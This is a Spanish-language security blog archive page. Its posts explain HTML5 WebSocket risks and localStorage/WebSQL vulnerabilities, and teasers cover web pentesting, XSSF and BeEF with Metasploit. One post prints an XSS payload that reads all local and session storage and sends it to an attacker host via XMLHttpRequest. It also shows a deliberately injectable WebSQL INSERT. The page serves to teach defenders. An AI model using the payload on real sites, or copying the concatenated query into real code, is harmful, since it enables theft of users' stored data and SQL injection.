Archivo

Posts Tagged ‘xss Stored aplicaciones web’

Vulnerabilidades comunes en HTML5 – Conociendo el funcionamiento de los WebSockets – Parte 3

noviembre 11, 2014 Deja un comentario

Históricamente las aplicaciones web se han basado en un modelo cliente-servidor, donde el cliente siempre es el primero en iniciar la comunicación con el servidor. Con la llegada de AJAX, las peticiones podían hacerse de forma asíncrona y el cliente no necesariamente tenia que esperar la respuesta del servidor para poder continuar trabajando con la aplicación web, sin embargo la comunicación tenia que ser iniciada por el cliente y si por algún motivo, el servidor tenia nueva información que debía transferirse al cliente, era el cliente el que tenia que realizar las peticiones contra el servidor para recuperar la nueva información. Evidentemente, el hecho de que el servidor pueda comunicarse con el cliente para informar sobre cualquier “novedad”, es una característica que siempre ha resultado muy útil y pensando en ello, se han diseñado varias alternativas que funcionan sobre el protocolo HTTP, como por ejemplo Comet, Push o con el uso de conexiones HTTP persistentes. Con estas alternativas, el servidor puede enviar datos al cliente sin que el cliente tenga que iniciar una interacción, son técnicas que se utilizan actualmente en muchos servicios en Internet y en su día, GMail también lo hacia, sin embargo, mantener una conexión HTTP durante un largo periodo de tiempo es costoso y no es una muy buena idea en aplicaciones que deben tener una baja latencia. Es aquí donde HTML5 viene “al rescate” con los websockets.

Los websockets son una alternativa muy óptima al problema descrito en líneas anteriores, ya que permite crear conexiones TCP utilizando sockets entre el cliente (navegador) y el servidor. Como con cualquier socket TCP, ambas partes pueden transferir datos en cualquier momento y de esta forma el servidor podrá enviar información al cliente cuando sea necesario.

Uso de websockets en HTML5

Para abrir una conexión entre cliente y servidor utilizando websockets, ahora se utilizan los esquemas “ws://” en lugar de “http://” y “wss://” en lugar de https://. Además, el modelo de programación que debe utilizarse es basado en eventos, dichos eventos alertarán al cliente cuando se realice una conexión con el servidor, cuando ocurra un error, o cuando se reciba un mensaje por parte del servidor. Para crear un websocket, se debe ingresar la dirección del servidor web con el esquema “ws://” o “wss://” y especificar alguno de los subprotocolos soportados en la especificación de websockets (ver: http://www.iana.org/assignments/websocket/websocket.xml).

Después de abrir una conexión con el servidor, el cliente puede enviar mensajes con la función “send” que se encuentra definida en la referencia a la conexión creada anteriormente. Los datos que se pueden enviar pueden ser cadenas de texto o datos binarios representados con los objetos Blob o ArrayBuffer. Un ejemplo del uso de websockets desde el lado del cliente podría ser el siguiente.

var connection = new WebSocket('ws://html5rocks.websocket.org/echo', ['soap', 'xmpp']);
connection.onopen = function () {
  connection.send('Hello Server!'); // Send the message 'Ping' to the server
};

connection.onerror = function (error) {
  console.log('WebSocket Error ' + error);
};

connection.onmessage = function (e) {
  console.log('From Server: ' + e.data);
};

connection.send('Hello cutty server!');

var img = canvas_context.getImageData(0, 0, 200, 200);
var binary = new Uint8Array(img.data.length);
for (var i = 0; i < img.data.length; i++) {
  binary[i] = img.data[i];
}
connection.send(binary.buffer);

var file = document.querySelector('input[type="file"]').files[0];
connection.send(file);

En el ejemplo anterior se ha creado una conexión con el servidor utilizando la clase WebSocket, la cual se encuentra disponible en la mayoría de navegadores modernos. La instancia creada de dicho objeto es utilizada para declarar una serie de funciones de callback que serán invocadas cuando se produzcan diferentes tipos de eventos posibles.

Por otro lado, aunque se trata de una tecnología muy interesante y que se comienza a utilizar con mayor frecuencia en aplicaciones web, no obstante la principal dificultad a la hora de utilizar websockets, es la imposibilidad de establecer conexiones utilizando servidores proxy por medio y dado que en la mayoría de entornos empresariales, el uso de servidores proxy es bastante común, nos encontramos con una limitación que hay que tener en cuenta cuando se habla de utilizar WebSockets en aplicaciones web. La razón de esto, es que los WebSockets utilizan el valor “upgrade” para la cabecera “Connection” o directamente la cabecera “Upgrade” con el el valor “WebSocket” y dicho valor indica que la conexión que inicialmente se ha establecido utilizando HTTP, debe “actualizarse” para utilizar sockets del tipo TCP. Este tipo de cambios en las conexiones no son soportados por los servidores proxy del tipo HTTP, ya que están diseñados para trabajar con paquetes de datos que utilizan el protocolo HTTP, en este caso, la conexión es automáticamente cortada por el servidor. Para “mitigar” este problema existen varias soluciones, como por ejemplo el uso del proyecto Apache Camel (http://camel.apache.org) o mi favorita, el uso de “mod_proxy_wstunnel” (ver: http://httpd.apache.org/docs/2.4/mod/mod_proxy_wstunnel.html) sobre esta extensión de Apache os hablaré en una próxima entrada.

Hasta este punto se ha hablado del lado del cliente, sin embargo en el lado del servidor se requiere un cambio de enfoque muy importante, ya que ahora hablamos de que el servidor debe soportar múltiples conexiones abiertas al mismo tiempo, con el consecuente consumo de recursos que aquello implica, por éste y otros motivos, la mayoría de servidores web modernos soportan modelos “Non-bloquing IO” o lo que es lo mismo, varios grupos de hilos que se ejecutan de forma concurrente y asíncrona para el procesamiento de respuestas. Se trata de un modelo de arquitectura de software ampliamente aceptado y utilizado hoy en día, tanto en servidores como en sistemas operativos. Alguno de los servidores web que soportan estas características (sin ser una lista exhaustiva y basándome únicamente en los que he probado) se mencionan a continuación.

Apache Web Server 2.2 / 2.4 (http://httpd.apache.org/)

Jetty (http://www.eclipse.org/jetty/)

Apache Tomcat (http://tomcat.apache.org/)

JBoss (http://www.jboss.org/)

Socket.IO (http://socket.io/)

Pywebsocket para Apache web Server. (http://code.google.com/p/pywebsocket/)

Tornado (https://github.com/tornadoweb/tornado)

Vulnerabilidades comunes en el uso de websockets

Ahora que está claro qué son y para qué sirven los websockets, es el momento de hablar sobre las vulnerabilidades que se pueden producir cuando se implementan de forma indebida o con pocos controles sobre los datos intercambiados entre cliente y servidor. Estamos hablando de una tecnología joven, que si bien tiene un potencial enorme a la hora de crear aplicaciones web robustas, esto no es gratis y tiene sus riesgos. Algunos de dichos riesgos se explican a continuación.

Transporte no securizado y vulnerable a ataques MITM.

Como se ha mencionado anteriormente, los websockets funcionan utilizando el protocolo TCP, lo que habilita muchas posibilidades a la hora de realizar conexiones contra multitud de servicios, sin embargo si el canal de comunicación no se encuentra debidamente securizado, un ataque del tipo MITM puede comprometer todos los mensajes enviados entre cliente y servidor. Siempre es una buena practica utilizar el contexto “wss://” para establecer conexiones cifradas con TLS.

Los websockets no soportan autenticación ni autorización.

El protocolo de websockets no soporta los mecanismos tradicionales de autenticación y autorización. Es un asunto relacionado con la implementación propiamente dicha del protocolo y en el caso de que el cliente y el servidor intercambien información sensible, además de securizar el canal de comunicación utilizando TLS, también es recomendable utilizar mecanismos de autenticación basados en tokens/tickets. Dichos mecanismos son bastante populares en implementaciones REST, donde algunos servicios solamente pueden ser consumidos si el cliente cuenta con un token de autenticación valido y dicho token se vincula con el servidor por medio de una cuenta de usuario. Dicho patrón de autenticación se ha vuelto cada vez más popular y en aplicaciones que utilizan websockets que requieren mecanismos de control sobre los usuarios autenticados, es una excelente forma de mantener un control de acceso a recursos sensibles.

Validación en los datos de entrada

Aunque los websockets utilicen TCP para realizar las conexiones entre clientes y servidores, aun nos encontramos en el contexto de una aplicación web y es importante validar los datos de entrada de los usuarios. En el caso de no validar los campos de entrada adecuadamente, se pueden producir vulnerabilidades del tipo XSS aunque para la comunicación se ha un protocolo distinto a HTTP.

Vulnerabilidades Cross Site Request Foregy

Tal como se comentaba en un articulo anterior, las políticas de “same origin policy” que aplican cuando se trata de compartir recursos entre distintos dominios, ahora ya no son tan estrictas cuando se utiliza la cabecera HTTP “Origin”. Tal como se mencionaba en dicho articulo, se trata de una característica que está muy bien cuando se trata de compartir recursos con dominios “fiables” y cuando hablamos de relaciones de confianza en el mundo de la seguridad de la información, siempre pueden haber situaciones que le permiten a un atacante abusar de dichas condiciones.

Los websockets no están limitados a las restricciones de SOP, esto significa que un atacante puede iniciar una petición websocket desde su sitio web malicioso contra un endpoint (ws:// o wss://) de una aplicación web aunque no se encuentre en el mismo dominio. Esto tiene unas implicaciones tremendas, ya que el handshake que ejecutará el cliente para iniciar una petición WebSocket es una petición HTTP regular y los navegadores enviarán las cookies y cabeceras HTTP de autenticación aunque se trate de un dominio cruzado, si y sólo si, el servidor web no valida adecuadamente la cabecera “Origin”.
Para que el lector se haga una idea del problema, supongamos que la víctima ha iniciado sesión en un sitio web que tiene uno o varios endpoints “ws” o “wss” y en una pestaña nueva del navegador, ingresa en una página web maliciosa controlada por el atacante. Dicha página podría realizar una petición WebSocket contra el sitio web en el que el usuario se encuentra identificado y si dicho sitio web, no valida adecuadamente el valor de la cabecera “Origin”, la respuesta a la petición del atacante podrá contener, entre otras, las cookies y cabeceras de autenticación utilizadas por el usuario, sin importar que se trate de un dominio cruzado. Esta situación puede dar lugar a una vulnerabilidad del tipo CSRF.

En un próximo articulo, hablaré un poco más sobre cómo explotar algunas de las vulnerabilidades que se han listado aquí.

Saludos y Happy Hack!

Vulnerabilidades comunes en HTML5 – Localstorage y vulnerabilidades en WebSQL – Parte 2

octubre 29, 2014 Deja un comentario

Continuamos enumerando y explicando algunas vulnerabilidades comunes en la última especificación de HTML, en la que se han incluido características funcionales que permiten crear aplicaciones WEB 2.0 y RIA. Se trata de un intento por mejorar la experiencia de usuario y crear aplicaciones robustas y rápidas, sin embargo muchas de ellas pueden representar una potencial brecha de seguridad si no se toman las medidas adecuadas a la hora de utilizarlas en aplicaciones web que manejan datos sensibles. En la primera parte de estos artículos, nos centramos principalmente en CORS, que como se ha visto anteriormente, es muy peligroso si no se configura adecuadamente a la hora de compartir recursos con dominios externos. En este artículo ahora nos centraremos en los nuevos mecanismos implementados para el almacenamiento de información en el cliente, que en HTML5 se extiende mucho más allá al uso de las cookies.

Fugas de información en el almacenamiento local

Una de las características más sobresalientes en HTML5 para el desarrollo de aplicaciones RIA, es la capacidad que tienen ahora los clientes de almacenar datos que posteriormente pueden ser utilizados por las aplicaciones. El mecanismo de almacenamiento de HTML5, también conocido como “Client-Site storage” es similar a las cookies tradicionales, sin embargo es más completo y robusto ya que no solamente extiende el tamaño de los datos que se pueden guardar, que en el caso de las cookies es solamente de 4kb, mientras que en el caso del almacenamiento local en HTML5 puede llegar hasta los 10MB de información. Por otro lado, a diferencia de las cookies, los datos almacenados no caducan y además, no se envían en cada petición entre cliente y servidor como si que ocurre con las cookies. El mecanismo de almacenamiento local de HTML5, es una mejora considerable a la hora de guardar datos en el cliente sin depender de las cookies tradicionales y cuenta con una API que permite acceder y manipular sus elementos por medio de Javascript.

En la especificación de HTML5 existen tres modelos de almacenamiento en el lado del cliente que son: Local, Session y Global. En el almacenamiento local, el elemento “localStorage” permite guardar datos de forma persistente en el cliente ya que dichos datos no se eliminan automáticamente y es necesario limpiar dicho espacio de almacenamiento de forma explicita. El almacenamiento del tipo Session funciona básicamente igual que el almacenamiento del tipo Local, con la diferencia de que el objeto “sessionStorage” se limpia automáticamente cuando el usuario cierra el navegador web o la pestaña del sitio web.

El almacenamiento Global es un espacio de memoria en el navegador en el que los sitios web pueden almacenar datos persistentes que no necesitan ser enviados posteriormente al servidor y aunque en los primeros borradores de la especificación se mencionaba que los valores almacenados en dicho espacio podían ser públicos a cualquier dominio, los desarrolladores de los navegadores web más populares no adoptaron esa recomendación por cuestiones de seguridad y los datos almacenados en dicha zona, ahora se asocian automáticamente con el dominio en cuestión. En las versiones más recientes de navegadores como Chrome o Firefox, el objeto “globalStorage” deja de ser soportado y en su lugar se utiliza el objeto “localStorage”, con lo cual los tipos de almacenamiento Local y Global se fusionan en uno solo por medio del uso del objeto “localStorage”.

Ahora bien, una vez comprendido el funcionamiento del “Client-Site storage” definido en HTML5, se puede apreciar rápidamente que si existe una API para acceder a los objetos que se encuentran almacenados en dicho espacio, un atacante podría abusar de dicha API para acceder a información sensible que se encuentre almacenada allí y eso es justo lo que puede ocurrir cuando una aplicación web con HTML5 tiene vulnerabilidades que permiten la ejecución arbitraria de código, como por ejemplo, una vulnerabilidad del tipo XSS.

 

<script language= "javascript">
var sessionNames;
for(i =0; sessionStorage.length; i++){
   sessionNames += sessionStorage.key(i);
}
var localNames;
for(i =0; localStorage.length; i++){
   localNames += localStorage.key(i);
}
</script>

Los elementos que se almacenan en los objetos “localStorage” y “sessionStorage” son diccionarios compuestos por pares de clave=valor, con lo cual, un atacante podría estar interesado en extraer todos los nombres de las claves disponibles en ambos contextos para posteriormente obtener sus valores.

<script language= "javascript">
   var xmlHttp = null;
   xmlHttp = new XMLHttpRequest();
   localData ="";
   for(i in localStorage){
         localData += localStorage.getItem(i)
   }
   sessionData = "";
   for(i in sessionStorage){
         sessionData += sessionStorage.getItem(i)
   }
   xmlHttp.open( "GET", “http://www.attackersite.com?data=”+localData+sessionData+globalData, false );
   xmlHttp.send(null)
</script>

Con las instrucciones anteriores se extraen todos los elementos que se encuentran almacenados en el “localStorage” y en el “sessionStorage”, posteriormente se envía dicha información a un servidor remoto utilizando el objeto XMLHttpResponse para iniciar una petición HTTP vía ajax.

Vulnerabilidades de SQL Injection en el cliente. Implementaciones con WebSQL inseguras.

Tradicionalmente las vulnerabilidades del tipo SQL Injection se han asociado con la extracción de información y posible ejecución arbitraria de código en el lado del servidor, sin embargo, en la especificación de HTML5 también esto ha cambiado, ya que ahora en el lado del cliente también es posible almacenar datos en bases de datos relacionales. WebSQL es el mecanismo mediante el cual, es posible crear una base de datos relacional con el fin de almacenar información que posteriormente será utilizada por la aplicación web. Se trata de una idea muy interesante, ya que permite crear aplicaciones web en las que los clientes podrán seguir interactuando con la aplicación aunque la conexión con el servidor no sea constante. Por otro lado, del mismo modo que ocurre con los objetos del tipo Storage mencionados anteriormente, es posible utilizar Javascript para consultar y manipular dichas bases de datos.

Las vulnerabilidades del tipo “Client-Site SQL Injection” no son muy diferentes a cualquier vulnerabilidad SQL Injection tradicional, de hecho, lo único que cambia es el contexto de ejecución. Esto quiere decir que la principal fuente de problemas relacionados con este tipo de vulnerabilidades se encuentran en la incorrecta o insuficiente validación de los datos utilizados para conformar las consultas y del mismo modo, la mejor forma de prevenir este tipo de errores, consiste en validar los datos de entrada y utilizar estamentos preparados en lugar de concatenar los valores de entrada con la cadena de la consulta SQL.

En navegadores modernos como Chrome, existen herramientas de desarrollo que permiten visualizar las bases de datos creadas en el lado del cliente cuando se visita un sitio web con soporte a WebSQL.

Para utilizar la API de WebSQL y acceder a bases de datos “Client-Side” se debe utilizar la API disponible para ello, la cual define tres elementos principales para acceso y modificación de datos: “openDatabase”, “transaction”, “execute”. El siguiente script enseña el uso de estas funciones en una página web y como se podrá apreciar después de inspeccionar el código, hay una vulnerabilidad SQL Injection que se puede detectar fácilmente.

<script language= "javascript">
    db = openDatabase("sqli", "1.0", "Web SQL Database Client-side SQL Injection",2000);
    if(db) {
       db.transaction(function(tx){tx.executeSql("DROP TABLE IF EXISTS table_test",[]);});
       db.transaction(function(tx){tx.executeSql("CREATE TABLE IF NOT EXISTS table_test (id REAL UNIQUE, description TEXT)",[]);});
    }
    db.transaction(
        function(tx) {
            tx.executeSql('DELETE FROM table_test WHERE id=?',[id]);
        })
    
    db.transaction(
        function(tx) {
            tx.executeSql("INSERT INTO table_test (id, description) values (" + id + ",'" + description + "')", []);
        })
</script>

En el código anterior, se puede apreciar que se intenta crear una base de datos con nombre “sqli” y posteriormente se ejecutan las instrucciones SQL para borrar y crear la tabla “table_test”. Posteriormente se crean las funciones de callback para ejecutar dos transacciones, la primera para borrar un registro filtrando por identificador y la segunda para insertar un registro.

La instrucción “DELETE” no tiene ningún problema en términos de seguridad, ya que la query SQL se encuentra parametrizada, sin embargo en el caso de la instrucción “INSERT”, se construye la query concatenando los valores que se deben insertar en la tabla “table_test”, generando de esta forma un problema de SQL Injection que puede ser explotable y que puede suponer la filtración de información sensible.
En el próximo artículo, más sobre vulnerabilidades en aplicaciones con HTML5

Saludos y Happy Hack!

WEB HACKING – Configurando DOJO Web Security como Hacklab – Parte III

julio 9, 2012 5 comentarios

Todas las aplicaciones web tienen recursos que deben utilizar para brindar funcionalidades consistentes a sus usuarios, dichos recursos pueden ser elementos tan simples como imágenes, hojas de estilos CSS, páginas HTML estáticas, documentos de texto y casi cualquier tipo de elemento que contenga información. En muchas ocasiones el volumen de información manejada por una aplicación puede ser tan grande que el mantenimiento y administración de estos recursos puede ser muy complejo y evidentemente, propenso a errores, es en ese momento donde pueden ocurrir fugas de información privada o sensitiva que no debería estar expuesta al publico por el contenido de la misma, así como también pueden dejarse fallos sobre la configuración del servidor web o la aplicación. En este punto, un hacker o pentester “entra en escena” recolectando y analizando toda esta información. Se trata del primer paso que siempre se debe realizar, recolectar información del sistema o aplicación objetivo y “encajar” las piezas, como si tratara de un puzzle, cada pieza de información permite tener una imagen global del funcionamiento de la aplicación y por consiguiente, de los fallos que esta puede tener.

Leer más…

WEB HACKING – Conceptos Básicos sobre seguridad en aplicaciones Web, Metodología OWASP – Parte II

julio 5, 2012 Deja un comentario

Durante el proceso de pruebas de seguridad de una aplicación web, se suele tener la falsa concepción de que la revisión automatizada es eficiente y efectiva, es así como muchos testers y pentesters (especialmente los menos experimentados) suelen anteponer y priorizar los resultados devueltos por scanners de vulnerabilidades en aplicaciones web sobre la inspección manual, con esto no se pretende de ninguno modo desestimar la labor que desempeñan dichas herramientas como scanners y frameworks de penetración, solamente que es necesario comprender que dichas herramientas tienen sus propias LIMITACIONES y que no se puede esperar que una utilidad que ha sido creada para aplicaciones genéricas funcione del mismo modo para aplicaciones con un alto nivel de personalización. Dadas estas premisas, esta claro que el uso de las herramientas no es suficiente para afrontar el reto que implica desplegar una aplicación web segura, es necesario que la persona responsable y el equipo involucrado tenga presentes como mínimo las siguientes técnicas sobre el testing de una aplicación web

Leer más…

WEB HACKING – Conceptos Básicos sobre seguridad en aplicaciones Web y Pentesting – Parte I

julio 2, 2012 1 comentario

Este es el primer articulo de una serie de entradas que se publicarán en este sitio de forma periódica sobre un tema que actualmente se encuentra en constante evolución (y crecimiento), la seguridad en aplicaciones web y pentesting. Se trata de un tema que dada su complejidad y cantidad de información disponible puede abarcar un buen número de entradas (que al momento de escribir este documento no tengo del todo claro), sin embargo intentaré que sea lo más profundo y a la vez fácil de comprender para todo el mundo.

Leer más…

Utilizando XSSF en MetaSploit Framework – Explotando XSS

mayo 27, 2011 2 comentarios

Xssf Framework permite administrar victimas de ataques XSS genéricos y persiste una conexión con dichas victimas por medio de un “loop” en javascript, el cual se encarga de enviar peticiones reversas en intervalos definidos de tiempo con el fin de ejecutar exploits contra la victima.

Para usar xssf en metasploit es necesario localizar una aplicación vulnerable a ataques XSS, para probar y mejorar habilidades en el campo de la seguridad en aplicaciones web, existe un proyecto llamado DVWA (Damn Vulnerable Web Application), se trata de una aplicación escrita en PHP y MySQL que tiene habilitadas una serie de vulnerabilidades que permite a un profesional en seguridad, interactuar con la aplicación y comprender mejor los posibles ataques que pueden llevarse a cabo en aplicaciones web.

Leer más…

Integrando Herramientas del Arsenal: Beef y MetaSploit Framework

mayo 25, 2011 6 comentarios

Integrando Beef y MetaSploit Framework

Tal vez algunos que vengáis siguiendo este blog, ya conocéis las posibilidades que brinda MetaSploit para una fácil integración con otras herramientas relacionadas con pruebas de penetración, en este caso, Beef puede ser integrada y extendida con la potencia que lleva consigo MetaSploit Framework, partiendo de este punto, es posible ejecutar exploits y payloads contra victimas de ataques XSS administradas por Beef, la forma de integrar Beef y MetaSploit es muy sencilla y se basa en el uso del plugin xmlrpc de MetaSploit Framework, ya que permite crear un servicio que se encontrará en estado de “escucha” esperando a que nuevos clientes intenten conectarse a él (de una forma muy similar a como se hace con Nikto). Los pasos a seguir son los siguientes:

Leer más…

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.120 seguidores

A %d blogueros les gusta esto: